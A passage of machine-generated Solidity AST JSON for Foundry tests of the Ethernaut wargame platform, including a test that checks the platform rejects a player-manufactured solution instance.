payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58177,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1747:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58179,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1750:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1747:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58181,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1747:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58182,"nodeType":"ExpressionStatement","src":"1747:20:120"},{"assignments":[58185],"declarations":[{"constant":false,"id":58185,"mutability":"mutable","name":"level","nameLocation":"1793:5:120","nodeType":"VariableDeclaration","scope":58243,"src":"1777:21:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"},"typeName":{"id":58184,"nodeType":"UserDefinedTypeName","pathNode":{"id":58183,"name":"FallbackFactory","nameLocations":["1777:15:120"],"nodeType":"IdentifierPath","referencedDeclaration":52434,"src":"1777:15:120"},"referencedDeclaration":52434,"src":"1777:15:120","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}},"visibility":"internal"}],"id":58190,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":58188,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1801:19:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_FallbackFactory_$52434_$","typeString":"function () returns (contract FallbackFactory)"},"typeName":{"id":58187,"nodeType":"UserDefinedTypeName","pathNode":{"id":58186,"name":"FallbackFactory","nameLocations":["1805:15:120"],"nodeType":"IdentifierPath","referencedDeclaration":52434,"src":"1805:15:120"},"referencedDeclaration":52434,"src":"1805:15:120","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}}},"id":58189,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1801:21:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}},"nodeType":"VariableDeclarationStatement","src":"1777:45:120"},{"expression":{"arguments":[{"id":58194,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58185,"src":"1856:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}],"expression":{"id":58191,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"1832:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58193,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1842:13:120","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1832:23:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":58195,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1832:30:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58196,"nodeType":"ExpressionStatement","src":"1832:30:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58197,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1872:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58199,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1875:9:120","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1872:12:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1872:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58201,"nodeType":"ExpressionStatement","src":"1872:14:120"},{"expression":{"arguments":[{"id":58205,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"1911:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58202,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1897:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58204,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1900:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1897:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1897:19:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58207,"nodeType":"ExpressionStatement","src":"1897:19:120"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":58213,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58185,"src":"1966:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}],"id":58212,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1958:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58211,"name":"address","nodeType":"ElementaryTypeName","src":"1958:7:120","typeDescriptions":{}}},"id":58214,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1958:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58209,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"1937:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58210,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1943:14:120","memberName":"doesLevelExist","nodeType":"MemberAccess","referencedDeclaration":56411,"src":"1937:20:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view external returns (bool)"}},"id":58215,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1937:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58208,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1926:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58216,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1926:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58217,"nodeType":"ExpressionStatement","src":"1926:48:120"},{"assignments":[58220],"declarations":[{"constant":false,"id":58220,"mutability":"mutable","name":"instance","nameLocation":"2102:8:120","nodeType":"VariableDeclaration","scope":58243,"src":"2089:21:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Manufactured_$49625","typeString":"contract Manufactured"},"typeName":{"id":58219,"nodeType":"UserDefinedTypeName","pathNode":{"id":58218,"name":"Manufactured","nameLocations":["2089:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":49625,"src":"2089:12:120"},"referencedDeclaration":49625,"src":"2089:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_Manufactured_$49625","typeString":"contract Manufactured"}},"visibility":"internal"}],"id":58225,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":58223,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2113:16:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Manufactured_$49625_$","typeString":"function () returns (contract Manufactured)"},"typeName":{"id":58222,"nodeType":"UserDefinedTypeName","pathNode":{"id":58221,"name":"Manufactured","nameLocations":["2117:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":49625,"src":"2117:12:120"},"referencedDeclaration":49625,"src":"2117:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_Manufactured_$49625","typeString":"contract Manufactured"}}},"id":58224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2113:18:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Manufactured_$49625","typeString":"contract Manufactured"}},"nodeType":"VariableDeclarationStatement","src":"2089:42:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58226,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2142:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58228,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2145:12:120","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15634,"src":"2142:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58229,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2142:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58230,"nodeType":"ExpressionStatement","src":"2142:17:120"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":58238,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58220,"src":"2215:8:120","typeDescriptions":{"typeIdentifier":"t_contract$_Manufactured_$49625","typeString":"contract Manufactured"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Manufactured_$49625","typeString":"contract Manufactured"}],"id":58237,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2207:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58236,"name":"address","nodeType":"ElementaryTypeName","src":"2207:7:120","typeDescriptions":{}}},"id":58239,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2207:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58235,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2199:8:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":58234,"name":"address","nodeType":"ElementaryTypeName","src":"2199:8:120","stateMutability":"payable","typeDescriptions":{}}},"id":58240,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2199:26:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58231,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"2169:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58233,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2179:19:120","memberName":"submitLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49100,"src":"2169:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":58241,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2169:57:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58242,"nodeType":"ExpressionStatement","src":"2169:57:120"}]},"documentation":{"id":58174,"nodeType":"StructuredDocumentation","src":"1617:73:120","text":"@notice Should not allow a player to manufacture a solution instance."},"functionSelector":"984e5703","implemented":true,"kind":"function","modifiers":[],"name":"testManufactureInstance","nameLocation":"1704:23:120","parameters":{"id":58175,"nodeType":"ParameterList","parameters":[],"src":"1727:2:120"},"returnParameters":{"id":58176,"nodeType":"ParameterList","parameters":[],"src":"1737:0:120"},"scope":58855,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":58374,"nodeType":"FunctionDefinition","src":"2329:787:120","nodes":[],"body":{"id":58373,"nodeType":"Block","src":"2374:742:120","nodes":[],"statements":[{"expression":{"arguments":[{"id":58251,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"2398:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58248,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2384:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58250,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2387:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"2384:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58252,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2384:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58253,"nodeType":"ExpressionStatement","src":"2384:20:120"},{"assignments":[58256],"declarations":[{"constant":false,"id":58256,"mutability":"mutable","name":"level","nameLocation":"2427:5:120","nodeType":"VariableDeclaration","scope":58373,"src":"2414:18:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":58255,"nodeType":"UserDefinedTypeName","pathNode":{"id":58254,"name":"DummyFactory","nameLocations":["2414:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"2414:12:120"},"referencedDeclaration":52145,"src":"2414:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":58261,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":58259,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2435:16:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DummyFactory_$52145_$","typeString":"function () returns (contract DummyFactory)"},"typeName":{"id":58258,"nodeType":"UserDefinedTypeName","pathNode":{"id":58257,"name":"DummyFactory","nameLocations":["2439:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"2439:12:120"},"referencedDeclaration":52145,"src":"2439:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}},"id":58260,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2435:18:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"2414:39:120"},{"expression":{"arguments":[{"id":58265,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58256,"src":"2487:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58262,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"2463:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2473:13:120","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"2463:23:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":58266,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2463:30:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58267,"nodeType":"ExpressionStatement","src":"2463:30:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58268,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2503:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2506:9:120","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"2503:12:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58271,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2503:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58272,"nodeType":"ExpressionStatement","src":"2503:14:120"},{"expression":{"arguments":[{"id":58276,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"2542:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58273,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2528:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58275,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2531:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"2528:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58277,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2528:19:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58278,"nodeType":"ExpressionStatement","src":"2528:19:120"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":58284,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58256,"src":"2597:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58283,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2589:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58282,"name":"address","nodeType":"ElementaryTypeName","src":"2589:7:120","typeDescriptions":{}}},"id":58285,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2589:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58280,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"2568:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58281,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2574:14:120","memberName":"doesLevelExist","nodeType":"MemberAccess","referencedDeclaration":56411,"src":"2568:20:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view external returns (bool)"}},"id":58286,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2568:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58279,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2557:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58287,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2557:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58288,"nodeType":"ExpressionStatement","src":"2557:48:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58289,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2616:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58291,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2619:10:120","memberName":"recordLogs","nodeType":"MemberAccess","referencedDeclaration":12617,"src":"2616:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2616:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58293,"nodeType":"ExpressionStatement","src":"2616:15:120"},{"expression":{"arguments":[{"id":58297,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58256,"src":"2671:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58294,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"2641:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2651:19:120","memberName":"createLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49017,"src":"2641:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) payable external"}},"id":58298,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2641:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58299,"nodeType":"ExpressionStatement","src":"2641:36:120"},{"assignments":[58305],"declarations":[{"constant":false,"id":58305,"mutability":"mutable","name":"entries","nameLocation":"2703:7:120","nodeType":"VariableDeclaration","scope":58373,"src":"2687:23:120","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log[]"},"typeName":{"baseType":{"id":58303,"nodeType":"UserDefinedTypeName","pathNode":{"id":58302,"name":"Vm.Log","nameLocations":["2687:2:120","2690:3:120"],"nodeType":"IdentifierPath","referencedDeclaration":12060,"src":"2687:6:120"},"referencedDeclaration":12060,"src":"2687:6:120","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_storage_ptr","typeString":"struct VmSafe.Log"}},"id":58304,"nodeType":"ArrayTypeName","src":"2687:8:120","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Log[]"}},"visibility":"internal"}],"id":58309,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58306,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2713:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58307,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2716:15:120","memberName":"getRecordedLogs","nodeType":"MemberAccess","referencedDeclaration":12595,"src":"2713:18:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr_$","typeString":"function () external returns (struct VmSafe.Log memory[] memory)"}},"id":58308,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2713:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"2687:46:120"},{"assignments":[58311],"declarations":[{"constant":false,"id":58311,"mutability":"mutable","name":"instance","nameLocation":"2752:8:120","nodeType":"VariableDeclaration","scope":58373,"src":"2744:16:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58310,"name":"address","nodeType":"ElementaryTypeName","src":"2744:7:120","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":58327,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"baseExpression":{"expression":{"baseExpression":{"id":58318,"name":"entries","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58305,"src":"2787:7:120","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"id":58320,"indexExpression":{"hexValue":"30","id":58319,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2795:1:120","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2787:10:120","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_memory_ptr","typeString":"struct VmSafe.Log memory"}},"id":58321,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2798:6:120","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":12055,"src":"2787:17:120","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":58323,"indexExpression":{"hexValue":"32","id":58322,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2805:1:120","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 